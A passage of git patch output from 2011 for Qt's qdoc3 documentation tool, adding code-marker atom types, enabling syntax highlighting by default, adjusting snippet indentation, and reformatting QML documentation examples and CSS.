public CodeMarker virtual bool recognizeCode(const QString& code); virtual bool recognizeExtension(const QString& ext); virtual bool recognizeLanguage(const QString& lang); + virtual Atom::Type atomType() const; virtual QString plainName(const Node *node); virtual QString plainFullName(const Node *node, const Node *relative); virtual QString markedUpCode(const QString& code, diff --git a/tools/qdoc3/generator.cpp b/tools/qdoc3/generator.cpp index 65b9a09..62ec966 100644 --- a/tools/qdoc3/generator.cpp +++ b/tools/qdoc3/generator.cpp @@ -524,8 +524,9 @@ void Generator::generateBody(const Node *node, CodeMarker *marker) Quoter quoter; Doc::quoteFromFile(fake->doc().location(), quoter, fake->name()); QString code = quoter.quoteTo(fake->location(), "", ""); - text << Atom(Atom::Code, code); - generateText(text, fake, CodeMarker::markerForFileName(fake->name())); + CodeMarker *codeMarker = CodeMarker::markerForFileName(fake->name()); + text << Atom(codeMarker->atomType(), code); + generateText(text, fake, codeMarker); } } } @@ -683,26 +684,17 @@ QString Generator::indent(int level, const QString& markedCode) int i = 0; while (i < (int) markedCode.length()) { - if (markedCode.at(i) == QLatin1Char('<')) { - while (i < (int) markedCode.length()) { - t += markedCode.at(i++); - if (markedCode.at(i - 1) == QLatin1Char('>')) - break; - } + if (markedCode.at(i) == QLatin1Char('\n')) { + column = 0; } else { - if (markedCode.at(i) == QLatin1Char('\n')) { - column = 0; - } - else { - if (column == 0) { - for (int j = 0; j < level; j++) - t += QLatin1Char(' '); - } - column++; + if (column == 0) { + for (int j = 0; j < level; j++) + t += QLatin1Char(' '); } - t += markedCode.at(i++); + column++; } + t += markedCode.at(i++); } return t; } diff --git a/tools/qdoc3/htmlgenerator.cpp b/tools/qdoc3/htmlgenerator.cpp index a3156c3..4385dfd 100644 --- a/tools/qdoc3/htmlgenerator.cpp +++ b/tools/qdoc3/htmlgenerator.cpp @@ -467,6 +467,9 @@ int HtmlGenerator::generateAtom(const Atom *atom, out() << "

    \n"; break; case Atom::C: + // This may at one time have been used to mark up C++ code but it is + // now widely used to write teletype text. As a result, text marked + // with the \c command is not passed to a code marker. out() << formattingLeftMap()[ATOM_FORMATTING_TELETYPE]; if (inLink) { out() << protectEnc(plainCode(atom->string())); @@ -477,7 +480,7 @@ int HtmlGenerator::generateAtom(const Atom *atom, out() << formattingRightMap()[ATOM_FORMATTING_TELETYPE]; break; case Atom::Code: - out() << "
    "
    +        out() << "
    "
                   << trimmedTrailing(highlightedCode(indent(codeIndent,atom->string()),
                                                      marker,relative))
                   << "
    \n"; @@ -489,10 +492,16 @@ int HtmlGenerator::generateAtom(const Atom *atom, marker,relative)) << "
    \n"; break; + case Atom::JavaScript: + out() << "
    "
    +              << trimmedTrailing(highlightedCode(indent(codeIndent,atom->string()),
    +                                                 marker,relative))
    +              << "
    \n"; + break; #endif case Atom::CodeNew: out() << "

    you can rewrite it as

    \n" - << "
    "
    +              << "
    "
                   << trimmedTrailing(highlightedCode(indent(codeIndent,atom->string()),
                                                      marker,relative))
                   << "
    \n"; @@ -501,7 +510,7 @@ int HtmlGenerator::generateAtom(const Atom *atom, out() << "

    For example, if you have code like

    \n"; // fallthrough case Atom::CodeBad: - out() << "
    "
    +        out() << "
    "
                   << trimmedTrailing(protectEnc(plainCode(indent(codeIndent,atom->string()))))
                   << "
    \n"; break; @@ -1773,7 +1782,7 @@ void HtmlGenerator::generateBrief(const Node *node, CodeMarker *marker, void HtmlGenerator::generateIncludes(const InnerNode *inner, CodeMarker *marker) { if (!inner->includes().isEmpty()) { - out() << "
    "
    +        out() << "
    "
                   << trimmedTrailing(highlightedCode(indent(codeIndent,
                                                             marker->markedUpIncludes(inner->includes())),
                                                      marker,inner))
    @@ -2757,8 +2766,8 @@ QString HtmlGenerator::highlightedCode(const QString& markedCode,
         // replace all <@link> tags: "(<@link node=\"([^\"]+)\">).*()"
         bool done = false;
         for (int i = 0, srcSize = src.size(); i < srcSize;) {
    -        if (src.at(i) == charLangle && src.at(i + 1).unicode() == '@') {
    -            if (alignNames && !done) {// && (i != 0)) Why was this here?
    +        if (src.at(i) == charLangle && src.at(i + 1) == charAt) {
    +            if (alignNames && !done) {
                     html += "";
                     done = true;
                 }
    @@ -2819,6 +2828,7 @@ QString HtmlGenerator::highlightedCode(const QString& markedCode,
                 if (parseArg(src, typeTag, &i, srcSize, &arg, &par1)) {
                     par1 = QStringRef();
                     const Node* n = marker->resolveTarget(arg.toString(), myTree, relative, self);
    +                html += QLatin1String("");
                     if (n && n->subType() == Node::QmlBasicType) {
                         if (relative && relative->subType() == Node::QmlClass)
                             addLink(linkForNode(n,relative), arg, &html);
    @@ -2827,6 +2837,7 @@ QString HtmlGenerator::highlightedCode(const QString& markedCode,
                     }
                     else
                         addLink(linkForNode(n,relative), arg, &html);
    +                html += QLatin1String("");
                     handled = true;
                 }
                 else if (parseArg(src, headerTag, &i, srcSize, &arg, &par1)) {
    diff --git a/tools/qdoc3/jscodemarker.cpp b/tools/qdoc3/jscodemarker.cpp
    index 80df0aa..5a513f7 100644
    --- a/tools/qdoc3/jscodemarker.cpp
    +++ b/tools/qdoc3/jscodemarker.cpp
    @@ -101,6 +101,14 @@ bool JsCodeMarker::recognizeLanguage(const QString &language)
         return language == "JavaScript" || language == "ECMAScript";
     }
     
    +/*!
    +  Returns the type of atom used to represent JavaScript code in the documentation.
    +*/
    +Atom::Type JsCodeMarker::atomType() const
    +{
    +    return Atom::JavaScript;
    +}
    +
     QString JsCodeMarker::markedUpCode(const QString &code,
                                         const Node *relative,
                                         const Location &location)
    diff --git a/tools/qdoc3/jscodemarker.h b/tools/qdoc3/jscodemarker.h
    index 6d85063..9b55819 100644
    --- a/tools/qdoc3/jscodemarker.h
    +++ b/tools/qdoc3/jscodemarker.h
    @@ -59,6 +59,7 @@ public:
         virtual bool recognizeCode(const QString &code);
         virtual bool recognizeExtension(const QString &ext);
         virtual bool recognizeLanguage(const QString &language);
    +    virtual Atom::Type atomType() const;
     
         virtual QString markedUpCode(const QString &code, 
                                      const Node *relative, 
    diff --git a/tools/qdoc3/plaincodemarker.cpp b/tools/qdoc3/plaincodemarker.cpp
    index 9819593..e7926da 100644
    --- a/tools/qdoc3/plaincodemarker.cpp
    +++ b/tools/qdoc3/plaincodemarker.cpp
    @@ -66,6 +66,11 @@ bool PlainCodeMarker::recognizeLanguage( const QString& /* lang */ )
         return false;
     }
     
    +Atom::Type PlainCodeMarker::atomType() const
    +{
    +    return Atom::Code;
    +}
    +
     QString PlainCodeMarker::plainName( const Node * /* node */ )
     {
         return "";
    diff --git a/tools/qdoc3/plaincodemarker.h b/tools/qdoc3/plaincodemarker.h
    index 1c469a0..34fa63d 100644
    --- a/tools/qdoc3/plaincodemarker.h
    +++ b/tools/qdoc3/plaincodemarker.h
    @@ -59,6 +59,7 @@ public:
         bool recognizeCode( const QString& code );
         bool recognizeExtension( const QString& ext );
         bool recognizeLanguage( const QString& lang );
    +    Atom::Type atomType() const;
         QString plainName( const Node *node );
         QString plainFullName( const Node *node, const Node *relative );
         QString markedUpCode( const QString& code, const Node *relative, const Location &location );
    diff --git a/tools/qdoc3/qmlcodemarker.cpp b/tools/qdoc3/qmlcodemarker.cpp
    index e0ba0e1..a7dc5a0 100644
    --- a/tools/qdoc3/qmlcodemarker.cpp
    +++ b/tools/qdoc3/qmlcodemarker.cpp
    @@ -103,6 +103,14 @@ bool QmlCodeMarker::recognizeLanguage(const QString &language)
     }
     
     /*!
    +  Returns the type of atom used to represent QML code in the documentation.
    +*/
    +Atom::Type QmlCodeMarker::atomType() const
    +{
    +    return Atom::Qml;
    +}
    +
    +/*!
       Returns the name of the \a node. Method names include are returned with a
       trailing set of parentheses.
      */
    diff --git a/tools/qdoc3/qmlcodemarker.h b/tools/qdoc3/qmlcodemarker.h
    index b1d365c..1665b16 100644
    --- a/tools/qdoc3/qmlcodemarker.h
    +++ b/tools/qdoc3/qmlcodemarker.h
    @@ -60,6 +60,7 @@ public:
         virtual bool recognizeCode(const QString &code);
         virtual bool recognizeExtension(const QString &ext);
         virtual bool recognizeLanguage(const QString &language);
    +    virtual Atom::Type atomType() const;
         virtual QString plainName(const Node *node);
         virtual QString plainFullName(const Node *node, const Node *relative);
         virtual QString markedUpCode(const QString &code, 
    -- 
    cgit v0.12
    
    
    From fcb5e19d892ccff208590b8a37171ef6894fc694 Mon Sep 17 00:00:00 2001
    From: David Boddie 
    Date: Thu, 20 Jan 2011 17:26:47 +0100
    Subject: Added a style for types in quoted code.
    
    ---
     doc/src/template/style/offline.css | 4 ++++
     doc/src/template/style/style.css   | 4 ++++
     2 files changed, 8 insertions(+)
    
    diff --git a/doc/src/template/style/offline.css b/doc/src/template/style/offline.css
    index 4a10d0a..2aafe56 100644
    --- a/doc/src/template/style/offline.css
    +++ b/doc/src/template/style/offline.css
    @@ -185,6 +185,10 @@
         {
             color: black
         }
    +    span.type
    +    {
    +        font-weight: bold
    +    }
     /* end basic elements */
     
     /* font style elements */
    diff --git a/doc/src/template/style/style.css b/doc/src/template/style/style.css
    index 451d6bf..fbad0fd 100755
    --- a/doc/src/template/style/style.css
    +++ b/doc/src/template/style/style.css
    @@ -210,6 +210,10 @@
         {
             color: black
         }
    +    span.type
    +    {
    +        font-weight: bold
    +    }
     /* end basic elements */
     
     /* font style elements */
    -- 
    cgit v0.12
    
    
    From d1c54182a317f29240a607de044c01e7e1dd0e8f Mon Sep 17 00:00:00 2001
    From: David Boddie 
    Date: Thu, 20 Jan 2011 17:27:33 +0100
    Subject: Doc: Fixed invalid QML snippets and marked up JavaScript correctly.
    
    ---
     src/declarative/graphicsitems/qdeclarativeitem.cpp | 97 ++++++++++++++--------
     1 file changed, 64 insertions(+), 33 deletions(-)
    
    diff --git a/src/declarative/graphicsitems/qdeclarativeitem.cpp b/src/declarative/graphicsitems/qdeclarativeitem.cpp
    index 24d9b03..2989b75 100644
    --- a/src/declarative/graphicsitems/qdeclarativeitem.cpp
    +++ b/src/declarative/graphicsitems/qdeclarativeitem.cpp
    @@ -799,10 +799,18 @@ void QDeclarativeKeyNavigationAttached::keyReleased(QKeyEvent *event, bool post)
     
         This example forwards key events to two lists:
         \qml
    -    ListView { id: list1 ... }
    -    ListView { id: list2 ... }
    -    Keys.forwardTo: [list1, list2]
    -    focus: true
    +    Item {
    +        ListView {
    +            id: list1
    +            // ...
    +        }
    +        ListView {
    +            id: list2
    +            // ...
    +        }
    +        Keys.forwardTo: [list1, list2]
    +        focus: true
    +    }
         \endqml
     */
     
    @@ -1341,8 +1349,13 @@ QDeclarativeKeysAttached *QDeclarativeKeysAttached::qmlAttachedProperties(QObjec
         refer to the item. For example:
     
         \qml
    -    Text { id: myText; ... }
    -    Text { text: myText.text }
    +    Item {
    +        Text {
    +            id: myText
    +            // ...
    +        }
    +        Text { text: myText.text }
    +    }
         \endqml
     
         The identifier is available throughout to the \l {components}{component}
    @@ -2144,13 +2157,16 @@ QDeclarativeAnchorLine QDeclarativeItemPrivate::baseline() const
       \o \image declarative-anchors_example.png
       \o Text anchored to Image, horizontally centered and vertically below, with a margin.
       \qml
    -  Image { id: pic; ... }
    +  Image {
    +      id: pic
    +      // ...
    +  }
       Text {
           id: label
           anchors.horizontalCenter: pic.horizontalCenter
           anchors.top: pic.bottom
           anchors.topMargin: 5
    -      ...
    +      // ...
       }
       \endqml
       \row
    @@ -2160,12 +2176,15 @@ QDeclarativeAnchorLine QDeclarativeItemPrivate::baseline() const
       property of both defaults to 0.
     
       \qml
    -    Image { id: pic; ... }
    +    Image {
    +        id: pic
    +        // ...
    +    }
         Text {
             id: label
             anchors.left: pic.right
             anchors.leftMargin: 5
    -        ...
    +        // ...
         }
       \endqml
       \endtable
    @@ -2480,11 +2499,15 @@ QDeclarativeListProperty QDeclarativeItemPrivate::resources()
     
       \qml
       Item {
    -    states: [
    -      State { ... },
    -      State { ... }
    -      ...
    -    ]
    +      states: [
    +          State {
    +              // ...
    +          },
    +          State {
    +              // ...
    +          }
    +          // ...
    +      ]
       }
       \endqml
     
    @@ -2502,11 +2525,15 @@ QDeclarativeListProperty QDeclarativeItemPrivate::states()
     
       \qml
       Item {
    -    transitions: [
    -      Transition { ... },
    -      Transition { ... }
    -      ...
    -    ]
    +      transitions: [
    +          Transition {
    +              // ...
    +          },
    +          Transition {
    +              // ...
    +          }
    +          // ...
    +      ]
       }
       \endqml
     
    @@ -2531,11 +2558,15 @@ QDeclarativeListProperty QDeclarativeItemPrivate::transi
     
       \qml
       Item {
    -    filter: [
    -      Blur { ... },
    -      Reflection { ... }
    -      ...
    -    ]
    +      filter: [
    +          Blur {
    +              // ...
    +          },
    +          Reflection {
    +              // ...
    +          }
    +          // ...
    +      ]
       }
       \endqml
     */
    @@ -2570,14 +2601,14 @@ QDeclarativeListProperty QDeclarativeItemPrivate::transi
       This property is often used in scripts to change between states. For
       example:
     
    -  \qml
    -    function toggle() {
    -        if (button.state == 'On')
    -            button.state = 'Off';
    -        else
    -            button.state = 'On';
    -    }
    -  \endqml
    +  \js
    +  function toggle() {
    +      if (button.state == 'On')
    +          button.state = 'Off';
    +      else
    +          button.state = 'On';
    +  }
    +  \endjs
     
       If the item is in its base state (i.e. no explicit state has been
       set), \c state will be a blank string. Likewise, you can return an
    -- 
    cgit v0.12
    
    
    From e7e95bf64a4e513dd423acc38be615501ef76eac Mon Sep 17 00:00:00 2001
    From: David Boddie 
    Date: Thu, 20 Jan 2011 18:35:51 +0100
    Subject: Doc: Ensured that text in tables is not too large.
    
    ---
     doc/src/template/style/offline.css | 1 -
     1 file changed, 1 deletion(-)
    
    diff --git a/doc/src/template/style/offline.css b/doc/src/template/style/offline.css
    index 2aafe56..f5eb1c0 100644
    --- a/doc/src/template/style/offline.css
    +++ b/doc/src/template/style/offline.css
    @@ -111,7 +111,6 @@
             background-color: #F6F6F6;
             border: 1px solid #E6E6E6;
             border-collapse: separate;
    -        font-size: 110%;
             margin-bottom: 2.5em;
         }
         pre {
    -- 
    cgit v0.12
    
    
    From 92e0bfee7efb1505dbff6860f925445214fc7a54 Mon Sep 17 00:00:00 2001
    From: David Boddie 
    Date: Thu, 20 Jan 2011 18:39:20 +0100
    Subject: Enabled syntax highlighting by default.
    
    Removed the linksinmarkup configuration option because it was not
    introduced in all relevant places.
    ---
     tools/qdoc3/codemarker.cpp    |  8 ++------
     tools/qdoc3/codemarker.h      |  2 --
     tools/qdoc3/config.h          |  1 -
     tools/qdoc3/htmlgenerator.cpp | 42 ++++++++++++++++++------------------------
     tools/qdoc3/htmlgenerator.h   |  1 -
     tools/qdoc3/main.cpp          |  1 -
     6 files changed, 20 insertions(+), 35 deletions(-)
    
    diff --git a/tools/qdoc3/codemarker.cpp b/tools/qdoc3/codemarker.cpp
    index 89933d3..9047b6e 100644
    --- a/tools/qdoc3/codemarker.cpp
    +++ b/tools/qdoc3/codemarker.cpp
    @@ -59,7 +59,6 @@ QList CodeMarker::markers;
       been read.
      */
     CodeMarker::CodeMarker()
    -    : linksInMarkup(false)
     {
         markers.prepend(this);
     }
    @@ -74,14 +73,11 @@ CodeMarker::~CodeMarker()
     }
     
     /*!
    -  The only thing a code market initializes is its \e{linksInMarkup}
    -  flag. The \e{linksInMarkup} flag indicates whether links are created for
    -  names that have corresponding entries in the API documentation.
    -  It is turned off by default. 
    +  A code market performs no initialization by default. Marker-specific
    +  initialization is performed in subclasses.
      */
     void CodeMarker::initializeMarker(const Config &config)
     {
    -    linksInMarkup = config.getBool(QLatin1String(CONFIG_LINKSINMARKUP));
     }
     
     /*!
    diff --git a/tools/qdoc3/codemarker.h b/tools/qdoc3/codemarker.h
    index 6c45581..ed44395 100644
    --- a/tools/qdoc3/codemarker.h
    +++ b/tools/qdoc3/codemarker.h
    @@ -184,8 +184,6 @@ class CodeMarker
      private:
         QString macName(const Node *parent, const QString &name = QString());
     
    -    bool linksInMarkup;
    -
         static QString defaultLang;
         static QList markers;
     };
    diff --git a/tools/qdoc3/config.h b/tools/qdoc3/config.h
    index 2dd7d50..54c7dab 100644
    --- a/tools/qdoc3/config.h
    +++ b/tools/qdoc3/config.h
    @@ -141,7 +141,6 @@ class Config
     #define CONFIG_IMAGES                   "images"
     #define CONFIG_INDEXES                  "indexes"
     #define CONFIG_LANGUAGE                 "language"
    -#define CONFIG_LINKSINMARKUP            "linksinmarkup"
     #define CONFIG_MACRO                    "macro"
     #define CONFIG_NATURALLANGUAGE          "naturallanguage"
     #define CONFIG_OBSOLETELINKS            "obsoletelinks"
    diff --git a/tools/qdoc3/htmlgenerator.cpp b/tools/qdoc3/htmlgenerator.cpp
    index 4385dfd..10802b2 100644
    --- a/tools/qdoc3/htmlgenerator.cpp
    +++ b/tools/qdoc3/htmlgenerator.cpp
    @@ -219,7 +219,6 @@ HtmlGenerator::HtmlGenerator()
           threeColumnEnumValueTable(true),
           funcLeftParen("\\S(\\()"),
           myTree(0),
    -      syntaxHighlighting(false),
           obsoleteLinks(false)
     {
     }
    @@ -320,8 +319,6 @@ void HtmlGenerator::initializeGenerator(const Config &config)
             ++edition;
         }
     
    -    syntaxHighlighting = config.getBool(CONFIG_SYNTAXHIGHLIGHTING);
    -
         codeIndent = config.getInt(CONFIG_CODEINDENT);
     
         helpProjectWriter = new HelpProjectWriter(config,
    @@ -2790,31 +2787,28 @@ QString HtmlGenerator::highlightedCode(const QString& markedCode,
         }
     
     
    -    if (syntaxHighlighting) {
    -        // is this block ever used at all?
    -        // replace all <@func> tags: "(<@func target=\"([^\"]*)\">)(.*)()"
    -        src = html;
    -        html = QString();
    -        for (int i = 0, srcSize = src.size(); i < srcSize;) {
    -            if (src.at(i) == charLangle && src.at(i + 1) == charAt) {
    -                i += 2;
    -                if (parseArg(src, funcTag, &i, srcSize, &arg, &par1)) {
    -                    const Node* n = marker->resolveTarget(par1.toString(),
    -                                                          myTree,
    -                                                          relative);
    -                    QString link = linkForNode(n, relative);
    -                    addLink(link, arg, &html);
    -                    par1 = QStringRef();
    -                }
    -                else {
    -                    html += charLangle;
    -                    html += charAt;
    -                }
    +    // replace all <@func> tags: "(<@func target=\"([^\"]*)\">)(.*)()"
    +    src = html;
    +    html = QString();
    +    for (int i = 0, srcSize = src.size(); i < srcSize;) {
    +        if (src.at(i) == charLangle && src.at(i + 1) == charAt) {
    +            i += 2;
    +            if (parseArg(src, funcTag, &i, srcSize, &arg, &par1)) {
    +                const Node* n = marker->resolveTarget(par1.toString(),
    +                                                      myTree,
    +                                                      relative);
    +                QString link = linkForNode(n, relative);
    +                addLink(link, arg, &html);
    +                par1 = QStringRef();
                 }
                 else {
    -                html += src.at(i++);
    +                html += charLangle;
    +                html += charAt;
                 }
             }
    +        else {
    +            html += src.at(i++);
    +        }
         }
     
         // replace all "(<@(type|headerfile|func)(?: +[^>]*)?>)(.*)()" tags
    diff --git a/tools/qdoc3/htmlgenerator.h b/tools/qdoc3/htmlgenerator.h
    index 6701184..500780f 100644
    --- a/tools/qdoc3/htmlgenerator.h
    +++ b/tools/qdoc3/htmlgenerator.h
    @@ -279,7 +279,6 @@ class HtmlGenerator : public PageGenerator
         QStringList stylesheets;
         QStringList customHeadElements;
         const Tree *myTree;
    -    bool syntaxHighlighting;
         bool obsoleteLinks;
         QMap moduleClassMap;
         QMap moduleNamespaceMap;
    diff --git a/tools/qdoc3/main.cpp b/tools/qdoc3/main.cpp
    index 8193d2d..5b50a2a 100644
    --- a/tools/qdoc3/main.cpp
    +++ b/tools/qdoc3/main.cpp
    @@ -148,7 +148,6 @@ static void processQdocconfFile(const QString &fileName)
     	++i;
         }
         config.setStringList(CONFIG_SYNTAXHIGHLIGHTING, QStringList(slow ? "true" : "false"));
    -    config.setStringList(CONFIG_LINKSINMARKUP, QStringList(slow ? "true" : "false"));
         config.setStringList(CONFIG_SHOWINTERNAL,
                              QStringList(showInternal ? "true" : "false"));
         config.setStringList(CONFIG_OBSOLETELINKS,
    -- 
    cgit v0.12
    
    
    From 425a718facbb2b4a8f9919516b98257ef98c6182 Mon Sep 17 00:00:00 2001
    From: David Boddie 
    Date: Thu, 20 Jan 2011 18:40:52 +0100
    Subject: Allowed the indentation of marked up code to be customized.
    
    Marked up code is indented according to its indentation relative to
    the snippet markers (//! for example) in the quoted source code.
    ---
     tools/qdoc3/quoter.cpp | 20 ++++++++++++++------
     tools/qdoc3/quoter.h   |  5 +++--
     2 files changed, 17 insertions(+), 8 deletions(-)
    
    diff --git a/tools/qdoc3/quoter.cpp b/tools/qdoc3/quoter.cpp
    index 8e08e9a..b82b760 100644
    --- a/tools/qdoc3/quoter.cpp
    +++ b/tools/qdoc3/quoter.cpp
    @@ -221,10 +221,13 @@ QString Quoter::quoteSnippet(const Location &docLocation, const QString &identif
         QString comment = commentForCode();
         QString delimiter = comment + QString(" [%1]").arg(identifier);
         QString t;
    +    int indent = 0;
     
         while (!plainLines.isEmpty()) {
             if (match(docLocation, delimiter, plainLines.first())) {
    -            getLine();
    +            QString startLine = getLine();
    +            while (indent < startLine.length() && startLine[indent] == QLatin1Char(' '))
    +                indent++;
                 break;
             }
             getLine();
    @@ -232,7 +235,7 @@ QString Quoter::quoteSnippet(const Location &docLocation, const QString &identif
         while (!plainLines.isEmpty()) {
             QString line = plainLines.first();
             if (match(docLocation, delimiter, line)) {
    -            QString lastLine = getLine();
    +            QString lastLine = getLine(indent);
                 int dIndex = lastLine.indexOf(delimiter);
                 if (dIndex > 0) {
                     // The delimiter might be preceded on the line by other
    @@ -249,7 +252,7 @@ QString Quoter::quoteSnippet(const Location &docLocation, const QString &identif
                 return t;
             }
     
    -        t += removeSpecialLines(line, comment);
    +        t += removeSpecialLines(line, comment, indent);
         }
         failedAtEnd(docLocation, QString("snippet (%1)").arg(delimiter));
         return t;
    @@ -286,7 +289,7 @@ QString Quoter::quoteUntil( const Location& docLocation, const QString& command,
         return t;
     }
     
    -QString Quoter::getLine()
    +QString Quoter::getLine(int unindent)
     {
         if ( plainLines.isEmpty() )
             return QString();
    @@ -294,6 +297,11 @@ QString Quoter::getLine()
         plainLines.removeFirst();
     
         QString t = markedLines.takeFirst();
    +    int i = 0;
    +    while (i < unindent && i < t.length() && t[i] == QLatin1Char(' '))
    +        i++;
    +
    +    t = t.mid(i);
         t += QLatin1Char('\n');
         codeLocation.advanceLines( t.count( QLatin1Char('\n') ) );
         return t;
    @@ -342,7 +350,7 @@ QString Quoter::commentForCode() const
         return commentHash.value(suffix, "//!");
     }
     
    -QString Quoter::removeSpecialLines(const QString &line, const QString &comment)
    +QString Quoter::removeSpecialLines(const QString &line, const QString &comment, int unindent)
     {
         QString t;
     
    @@ -355,7 +363,7 @@ QString Quoter::removeSpecialLines(const QString &line, const QString &comment)
             t += QLatin1Char('\n');
         } else if (!trimmed.startsWith(comment)) {
             // Ordinary code
    -        t += getLine();
    +        t += getLine(unindent);
         } else {
             // Comments
             if (line.contains(QLatin1Char('\n')))
    diff --git a/tools/qdoc3/quoter.h b/tools/qdoc3/quoter.h
    index e1728d1..5ce38ef 100644
    --- a/tools/qdoc3/quoter.h
    +++ b/tools/qdoc3/quoter.h
    @@ -70,12 +70,13 @@ public:
         QString quoteSnippet(const Location &docLocation, const QString &identifier);
     
     private:
    -    QString getLine();
    +    QString getLine(int unindent = 0);
         void failedAtEnd( const Location& docLocation, const QString& command );
         bool match( const Location& docLocation, const QString& pattern,
         		const QString& line );
         QString commentForCode() const;
    -    QString removeSpecialLines(const QString &line, const QString &comment);
    +    QString removeSpecialLines(const QString &line, const QString &comment,
    +                               int unindent = 0);
     
         bool silent; 
         bool validRegExp;
    -- 
    cgit v0.12
    
    
    From 2d5d354068e18de999c0316c2356726f9fe69fca Mon Sep 17 00:00:00 2001
    From: David Boddie 
    Date: Fri, 21 Jan 2011 14:24:40 +0100
    Subject: Doc: Updated the qdoc manual.
    
    ---
     tools/qdoc3/doc/qdoc-manual.qdoc | 33 +++++++++++++++++++++------------
     1 file changed, 21 insertions(+), 12 deletions(-)
    
    diff --git a/tools/qdoc3/doc/qdoc-manual.qdoc b/tools/qdoc3/doc/qdoc-manual.qdoc
    index b557ad9..5b908d2 100644
    --- a/tools/qdoc3/doc/qdoc-manual.qdoc
    +++ b/tools/qdoc3/doc/qdoc-manual.qdoc
    @@ -7804,20 +7804,14 @@
                about this process.
     
         \row
    -        \o \bold slow \target slow
    -        \o \bold {The \c slow variable specifies whether QDoc should do
    -           time-consuming processing, such as syntax highlighting.}
    +        \o \bold slow (removed) \target slow
    +        \o \bold {The \c slow variable previously specified whether QDoc should
    +           do time-consuming processing, such as syntax highlighting.}
     
    -           By default, this setting is false.
    +           This option has been replaced by the \l{syntaxhighlighing} option.
     
    -           Example:
    -
    -           \code
    -               slow = true
    -           \endcode
    -
    -           Another way to turn on "slowness" is to invoke QDoc with the
    -           \c -slow command-line option.
    +           For compatibility, the \c -slow command-line option has been
    +           retained. This has the effect of enabling syntax highlighting.
     
         \row
             \o \bold sourcedirs \target sourcedirs
    @@ -7957,6 +7951,21 @@
                \endcode
     
         \row
    +        \o \bold syntaxhighlighting \target syntaxhighlighting
    +        \o \bold{The \c syntaxhighlighting variable specifies whether QDoc
    +           should perform syntax highlighting on source code quoted in the
    +           documentation it output.}
    +
    +           For example:
    +
    +           \code
    +           syntaxhighlighting = true
    +           \endcode
    +
    +           will enable syntax highlighting for all supported programming
    +           languages.
    +
    +    \row
             \o \bold tabsize \target tabsize
             \o \bold {The \c tabsize variable defines the size of a tab
                character.}
    -- 
    cgit v0.12
    
    
    From 84a1df764bf2e29e9e6e43f4f0e1a69201199fbc Mon Sep 17 00:00:00 2001
    From: David Boddie 
    Date: Fri, 21 Jan 2011 16:10:54 +0100
    Subject: Doc: Fixed the syntax of QML code snippets.
    
    ---
     doc/src/declarative/qdeclarativestates.qdoc        |  37 +++----
     .../snippets/declarative/mousearea/mousearea.qml   | 116 ++++++++++-----------
     doc/src/snippets/declarative/propertyanimation.qml |  24 ++---
     .../graphicsitems/qdeclarativepathview.cpp         |  14 +--
     src/declarative/util/qdeclarativeanimation.cpp     |   4 +-
     src/declarative/util/qdeclarativeconnections.cpp   |   6 +-
     6 files changed, 98 insertions(+), 103 deletions(-)
    
    diff --git a/doc/src/declarative/qdeclarativestates.qdoc b/doc/src/declarative/qdeclarativestates.qdoc
    index b663d43..69b348b 100644
    --- a/doc/src/declarative/qdeclarativestates.qdoc
    +++ b/doc/src/declarative/qdeclarativestates.qdoc
    @@ -71,7 +71,7 @@ of an item, set the \l {Item::}{state} property to the name of the state.
     Non-Item objects can use states through the StateGroup element.
     
     
    -\section1 Creating states
    +\section1 Creating States
     
     To create a state, add a \l State object to the item's \l {Item::}{states} property,
     which holds a list of states for that item.
    @@ -91,7 +91,7 @@ objects, not just the object that owns the state. For example:
     
     \qml
     Rectangle {
    -    ...
    +    // ...
         states: [
             State {
                 name: "moved"
    @@ -106,14 +106,7 @@ As a convenience, if an item only has one state, its \l {Item::}{states}
     property can be defined as a single \l State, without the square-brace list
     syntax:
     
    -\qml
    -Item {
    -    ...
    -    states: State {
    -        ...
    -    }
    -}
    -\endqml
    +\snippet doc/src/snippets/declarative/propertyanimation.qml single state
     
     A \l State is not limited to performing modifications on property values. It 
     can also:
    @@ -130,7 +123,7 @@ demonstrates how to declare a basic set of states and apply animated
     transitions between them.
     
     
    -\section1 The default state
    +\section1 The Default State
     
     Of course, the \l Rectangle in the example above could have simply been moved
     by setting its position to (50, 50) in the mouse area's \c onClicked handler.
    @@ -146,7 +139,7 @@ like this:
     
     \qml 
     Rectangle {
    -    ...
    +    // ...
     
         MouseArea {
             id: mouseArea
    @@ -154,8 +147,9 @@ Rectangle {
         }
     
         states: State {
    -        name: "moved"; when: mouseArea.pressed
    -        ...
    +        name: "moved"
    +        when: mouseArea.pressed
    +        // ...
         }
     }
     \endqml 
    @@ -171,7 +165,7 @@ using the \l {State::}{when} property, the above code could be changed to:
     
     \qml 
     Rectangle {
    -    ...
    +    // ...
     
         MouseArea {
             anchors.fill: parent
    @@ -181,7 +175,7 @@ Rectangle {
     
         states: State {
             name: "moved"
    -        ...
    +        // ...
         }
     }
     \endqml 
    @@ -191,7 +185,7 @@ as it provides a simpler (and a better, more declarative) solution than
     assigning the state from signal handlers.
     
     
    -\section1 Animating state changes
    +\section1 Animating State Changes
     
     
     State changes can be easily animated through \l {Transitions}{transitions}. A
    @@ -203,12 +197,14 @@ movement of the \l Rectangle would be animated:
     
     \qml
     Rectangle {
    -    ...
    +    // ...
     
    -    MouseArea { ... }
    +    MouseArea {
    +        // Handle mouse events...
    +    }
     
         states: [
    -       ...
    +       // States are defined here...
         ]
          
         transitions: [
    @@ -224,5 +220,4 @@ during a state change within this item, their values should be animated over 500
     milliseconds.
     
     See the \l Transitions documentation for more information.
    -
     */
    diff --git a/doc/src/snippets/declarative/mousearea/mousearea.qml b/doc/src/snippets/declarative/mousearea/mousearea.qml
    index 7cd0a77..1dc0598 100644
    --- a/doc/src/snippets/declarative/mousearea/mousearea.qml
    +++ b/doc/src/snippets/declarative/mousearea/mousearea.qml
    @@ -46,74 +46,72 @@ Rectangle {
         width: childrenRect.width
         height: childrenRect.height
     
    -Row {
    +    Row {
    +        //! [intro]
    +        Rectangle {
    +            width: 100; height: 100
    +            color: "green"
     
    -//! [intro]
    -Rectangle { 
    -    width: 100; height: 100
    -    color: "green"
    -
    -    MouseArea { 
    -        anchors.fill: parent
    -        onClicked: { parent.color = 'red' }
    -    }
    -}
    -//! [intro]
    +            MouseArea {
    +                anchors.fill: parent
    +                onClicked: { parent.color = 'red' }
    +            }
    +        }
    +        //! [intro]
     
    -//! [intro-extended]
    -Rectangle {
    -    width: 100; height: 100
    -    color: "green"
    +        //! [intro-extended]
    +        Rectangle {
    +            width: 100; height: 100
    +            color: "green"
     
    -    MouseArea {
    -        anchors.fill: parent
